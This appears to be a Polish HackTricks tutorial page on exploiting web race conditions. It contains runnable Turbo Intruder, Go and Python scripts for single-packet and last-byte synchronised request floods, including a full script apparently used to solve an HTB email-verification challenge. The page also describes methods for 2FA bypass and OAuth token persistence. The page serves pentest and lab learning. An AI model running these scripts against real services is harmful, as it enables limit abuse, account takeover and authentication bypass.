Race Condition
Reading time: 17 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
warning
Aby uzyskać dogłębne zrozumienie tej techniki, sprawdź oryginalny raport na https://portswigger.net/research/smashing-the-state-machine
Udoskonalanie ataków typu Race Condition
Główną przeszkodą w wykorzystaniu race condition jest zapewnienie, że wiele żądań jest obsługiwanych w tym samym czasie, z bardzo małą różnicą w czasie ich przetwarzania — najlepiej mniej niż 1 ms.
Poniżej kilka technik synchronizacji żądań:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: Umożliwia wysłanie dwóch żądań przez jedno połączenie TCP, redukując wpływ jittera sieciowego. Jednak z powodu różnic po stronie serwera dwa żądania mogą nie wystarczyć do powtarzalnego wykorzystania race condition.
- HTTP/1.1 'Last-Byte Sync': Pozwala na wcześniejsze wysłanie większości części 20–30 żądań, wstrzymując mały fragment, który następnie wysyła się razem, osiągając jednoczesne dotarcie do serwera.
Przygotowanie do Last-Byte Sync obejmuje:
- Wysłanie nagłówków i danych body z pominięciem ostatniego bajtu, bez zamykania strumienia.
- Zatrzymanie na 100 ms po wstępnym wysłaniu.
- Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do grupowania końcowych ramek.
- Wysyłanie pingów, aby rozgrzać połączenie.
Następne wysłanie wstrzymanych ramek powinno spowodować ich dotarcie w jednym pakiecie, co można zweryfikować w Wiresharku. Metoda ta nie ma zastosowania do plików statycznych, które zwykle nie biorą udziału w atakach RC.
HTTP/3 Last‑Frame Synchronization (QUIC)
- Koncepcja: HTTP/3 działa nad QUIC (UDP). Nie ma tu łączenia TCP ani algorytmu Nagle'a, na których można polegać, więc klasyczny last‑byte sync nie działa w przypadku standardowych klientów. Zamiast tego trzeba celowo scalić wiele końcowych ramek DATA (FIN) strumieni QUIC w ten sam datagram UDP, tak aby serwer przetworzył wszystkie docelowe żądania w tej samej jednostce harmonogramu.
- Jak to zrobić: Użyj specjalnie stworzonej biblioteki, która udostępnia kontrolę ramek QUIC. Na przykład H3SpaceX manipuluje quic-go, żeby zaimplementować HTTP/3 last‑frame synchronization zarówno dla żądań z body, jak i żądań w stylu GET bez body.
- Requests‑with‑body: wyślij HEADERS + DATA z pominięciem ostatniego bajtu dla N strumieni, a następnie wyślij razem ostatni bajt każdego strumienia.
- GET‑style: skonstruuj fałszywe ramki DATA (lub malutkie body z nagłówkiem Content‑Length) i zakończ wszystkie strumienie w jednym datagramie.
- Ograniczenia praktyczne:
- Równoległość jest ograniczona przez parametr transportowy QUIC max_streams partnera (podobny do HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). Jeśli jest niski, otwórz wiele połączeń H3 i rozłóż wyścig między nimi.
- Rozmiar datagramu UDP i path MTU ograniczają, ile końcowych ramek strumieni możesz scalić. Biblioteka radzi sobie z dzieleniem na wiele datagramów w razie potrzeby, ale pojedyncze flushowanie do jednego datagramu jest najbardziej niezawodne.
- Praktyka: Istnieją publiczne laboratoria race dla H2/H3 i przykładowe exploity dołączone do H3SpaceX.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
Dostosowanie do architektury serwera
Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania inaczej, co wpływa na czas odpowiedzi. Wstępne rozgrzewanie połączeń po stronie serwera poprzez nieistotne żądania może ujednolicić czasy odpowiedzi.
Obsługa blokowania opartego na sesji
Frameworki takie jak PHP's session handler serializują żądania według sesji, co może maskować luki. Użycie różnych tokenów sesji dla każdego żądania może obejść ten problem.
Pokonywanie limitów szybkości lub zasobów
Jeśli rozgrzewanie połączeń jest nieskuteczne, celowe wywołanie opóźnień spowodowanych limitami szybkości lub zasobów serwerów WWW poprzez zalew fałszywych żądań może ułatwić single-packet attack, powodując po stronie serwera opóźnienie sprzyjające race conditions.
Przykłady ataków
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Możesz wysłać żądanie do Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), możesz zmienić w żądaniu wartość, którą chcesz brute force dla%s
jak wcsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
i następnie wybraćexamples/race-single-packer-attack.py
z listy rozwijanej:
.png)
Jeśli zamierzasz wysyłać różne wartości, możesz zmodyfikować kod tym, który używa wordlisty ze schowka:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Jeśli strona nie obsługuje HTTP2 (tylko HTTP1.1), użyj Engine.THREADED
lub Engine.BURP
zamiast Engine.BURP2
.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): W przypadku gdy musisz wysłać żądanie do 1 endpointu, a następnie wiele do innych endpointów, aby wywołać RCE, możesz zmodyfikować skrypt
race-single-packet-attack.py
w następujący sposób:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Jest to także dostępne w Repeater przez nową opcję 'Send group in parallel' w Burp Suite.
- Dla limit-overrun możesz po prostu dodać same request 50 times w grupie.
- Dla connection warming możesz add na beginning group kilka requests do niestatycznej części serwera WWW.
- Dla delaying procesu between przetwarzaniem one request and another w krokach z 2 substates możesz add extra requests between oba requests.
- Dla multi-endpoint RC możesz zacząć wysyłać request, który goes to the hidden state, a następnie tuż po nim wysłać 50 requests, które exploits the hidden state.
.png)
- Automated python script: Celem tego skryptu jest zmiana emaila użytkownika przy jednoczesnym ciągłym sprawdzaniu aż verification token nowego emaila dotrze na ostatni email (dzieje się tak, ponieważ w kodzie występował RC, w którym można było zmodyfikować email, ale weryfikacja była wysyłana na stary, ponieważ zmienna wskazująca email była już wypełniona pierwszym).
Kiedy w odebranych wiadomościach pojawi się słowo "objetivo", wiemy, że otrzymaliśmy verification token zmienionego emaila i kończymy atak.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: uwagi dotyczące silnika i gate'ów
- Wybór engine: użyj
Engine.BURP2
na celach HTTP/2, aby wywołać single‑packet attack; w przypadku HTTP/1.1 wróć doEngine.THREADED
lubEngine.BURP
dla last‑byte sync. gate
/openGate
: kolejkuj wiele kopii za pomocągate='race1'
(lub gate'ów na każdą próbę), co wstrzymuje końcówkę każdego żądania;openGate('race1')
wypuszcza wszystkie końcówki naraz, dzięki czemu docierają niemal równocześnie.- Diagnostyka: ujemne znaczniki czasu w Turbo Intruder wskazują, że serwer odpowiedział, zanim żądanie zostało w pełni wysłane, co dowodzi nakładania się. To jest oczekiwane w prawdziwych races.
- Rozgrzewanie połączenia: wyślij najpierw ping lub kilka nieszkodliwych żądań, aby ustabilizować czasy; opcjonalnie wyłącz
TCP_NODELAY
, aby zachęcić do grupowania końcowych ramek.
Poprawa Single Packet Attack
W oryginalnym badaniu wyjaśniono, że ten atak ma limit 1,500 bajtów. Jednak w this post, opisano, jak można rozszerzyć ograniczenie 1,500 bajtów single packet attack do ograniczenia okna TCP 65,535 B, używając fragmentacji warstwy IP (dzielenie pojedynczego pakietu na wiele pakietów IP) i wysyłając je w różnej kolejności, co uniemożliwia złożenie pakietu, dopóki wszystkie fragmenty nie dotrą do serwera. Ta technika pozwoliła badaczowi wysłać 10,000 żądań w około 166ms.
Zauważ, że chociaż to ulepszenie sprawia, że atak jest bardziej niezawodny w RC wymagających, aby setki/tysiące pakietów dotarły w tym samym czasie, może mieć też pewne ograniczenia po stronie oprogramowania. Niektóre popularne serwery HTTP, takie jak Apache, Nginx i Go, mają ścisłe ustawienie SETTINGS_MAX_CONCURRENT_STREAMS
ustawione odpowiednio na 100, 128 i 250. Jednak inne, jak NodeJS i nghttp2, mają to nieograniczone.
To zasadniczo oznacza, że Apache będzie rozważać tylko 100 połączeń HTTP z jednego połączenia TCP (ograniczając ten RC attack). Dla HTTP/3 analogicznym limitem jest parametr transportowy QUIC max_streams
– jeśli jest mały, rozłóż swój race na kilka połączeń QUIC.
Przykłady użycia tej techniki znajdziesz w repozytorium https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Przed poprzednimi badaniami używano następujących payloadów, które po prostu próbowały wysłać pakiety tak szybko, jak to możliwe, aby spowodować RC.
- Repeater: Sprawdź przykłady z poprzedniej sekcji.
- Intruder: Wyślij żądanie do Intruder, ustaw number of threads na 30 w Options menu, wybierz jako payload Null payloads i wygeneruj 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Metodologia RC
Przekroczenie limitu / TOCTOU
To najprostszy typ race condition, gdzie podatności pojawiają się w miejscach, które ograniczają liczbę razy, kiedy możesz wykonać daną akcję. Na przykład użycie tego samego kodu rabatowego w sklepie internetowym wielokrotnie. Bardzo prosty przykład można znaleźć w this report lub w this bug.
Istnieje wiele wariantów tego rodzaju ataku, w tym:
- Wykorzystanie karty podarunkowej wielokrotnie
- Ocena produktu wielokrotnie
- Wypłata lub przelanie środków przekraczających saldo konta
- Ponowne użycie pojedynczego CAPTCHA
- Ominięcie limitu rate limiting przeciwko brute-force
Ukryte podstany
Wykorzystywanie złożonych race condition często polega na wykorzystaniu krótkich okazji do interakcji z ukrytymi lub niezamierzonymi podstanami maszyny. Oto jak do tego podejść:
- Zidentyfikuj potencjalne ukryte podstany
- Zacznij od wskazania endpointów, które modyfikują lub operują na krytycznych danych, takich jak profile użytkownika czy procesy resetu hasła. Skoncentruj się na:
- Storage: Preferuj endpointy, które manipulują trwałymi danymi po stronie serwera zamiast tych obsługujących dane po stronie klienta.
- Action: Szukaj operacji, które zmieniają istniejące dane — są bardziej prawdopodobne do stworzenia warunków podatnych niż operacje dodające nowe dane.
- Keying: Udane ataki zwykle obejmują operacje kluczowane tym samym identyfikatorem, np. username lub reset token.
- Przeprowadź wstępne testy
- Testuj zidentyfikowane endpointy pod kątem race condition, obserwując wszelkie odchylenia od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą sygnalizować podatność.
- Zademonstruj podatność
- Zawęź atak do minimalnej liczby żądań potrzebnych do jego wykorzystania, często wystarczą dwa. Ten krok może wymagać wielu prób lub automatyzacji ze względu na precyzyjne timingi.
Ataki wrażliwe na czas
Precyzja w timingu żądań może ujawnić podatności, zwłaszcza gdy do tokenów zabezpieczających używa się przewidywalnych metod, takich jak timestamps. Na przykład generowanie password reset tokens na podstawie timestampów może pozwolić na identyczne tokeny dla równoczesnych żądań.
Aby wykorzystać:
- Użyj precyzyjnego timingu, np. single packet attack, aby wykonać równoczesne żądania resetu hasła. Identyczne tokeny wskazują na podatność.
Przykład:
- Zażądaj dwóch password reset tokens w tym samym czasie i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów.
Sprawdź to PortSwigger Lab aby to przetestować.
Studium przypadków ukrytych podstan
Zapłać i dodaj przedmiot
Sprawdź ten PortSwigger Lab, aby zobaczyć jak zapłacić w sklepie i dodać dodatkowy przedmiot, za który nie będziesz musiał zapłacić.
Potwierdź inne adresy e-mail
Idea polega na zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny, aby sprawdzić, czy platforma weryfikuje nowo zmieniony adres.
Zmiana email na 2 adresy — oparta na cookie
Zgodnie z this research Gitlab był podatny na takeover w ten sposób, ponieważ mógł wysłać email verification token jednego adresu na drugi adres.
Sprawdź to PortSwigger Lab aby to przetestować.
Ukryte stany bazy danych / Ominięcie potwierdzenia
Jeśli 2 różne zapisy są używane do dodania informacji do bazy danych, istnieje krótki okres czasu, w którym tylko pierwsze dane zostały zapisane w bazie. Na przykład podczas tworzenia użytkownika username i password mogą zostać zapisane, a następnie token do potwierdzenia nowo utworzonego konta zostaje zapisany później. Oznacza to, że przez krótki czas token do potwierdzenia konta jest null.
Dlatego zarejestrowanie konta i wysyłanie kilku żądań z pustym tokenem (token=
lub token[]=
lub dowolna inna wariacja) w celu natychmiastowego potwierdzenia konta może pozwolić na potwierdzenie konta, nad którym nie masz kontroli nad adresem e-mail.
Sprawdź to PortSwigger Lab aby to przetestować.
Ominięcie 2FA
Następujący pseudokod jest podatny na race condition, ponieważ w bardzo krótkim czasie 2FA nie jest egzekwowane, podczas gdy session jest tworzona:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 wieczna persystencja
There are several OAUth providers. Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the client will need to permit your application to access some of their data inside of the OAUth provider.
Więc, do tej pory to po prostu zwykłe logowanie przez google/linkedin/github... gdzie pojawia się strona z komunikatem: "Aplikacja
Race Condition in authorization_code
The problem appears when you accept it and automatically sends an authorization_code
to the malicious application. Then, this application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT (Authentication Token/Refresh Token) from the authorization_code
for your account. Basically, it will abuse the fact that you have accept the application to access your data to create several accounts. Then, if you stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid.
Race Condition in Refresh Token
Once you have obtained a valid RT you could try to abuse it to generate several AT/RT and even if the user cancels the permissions for the malicious application to access his data, several RTs will still be valid.
RC w WebSockets
- W WS_RaceCondition_PoC znajdziesz PoC w Javie do wysyłania wiadomości websocket równolegle, aby nadużyć Race Conditions także w Web Sockets.
- Z Burp’s WebSocket Turbo Intruder możesz użyć silnika THREADED aby uruchomić wiele połączeń WS i wysyłać payloads równolegle. Zacznij od oficjalnego przykładu i dostosuj
config()
(liczba wątków) dla współbieżności; to często jest bardziej niezawodne niż batchowanie na jednym połączeniu przy wyścigach o stan po stronie serwera między handlerami WS. Zobacz RaceConditionExample.py.
Referencje
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder – GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 last‑frame sync) – Go package docs
- PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.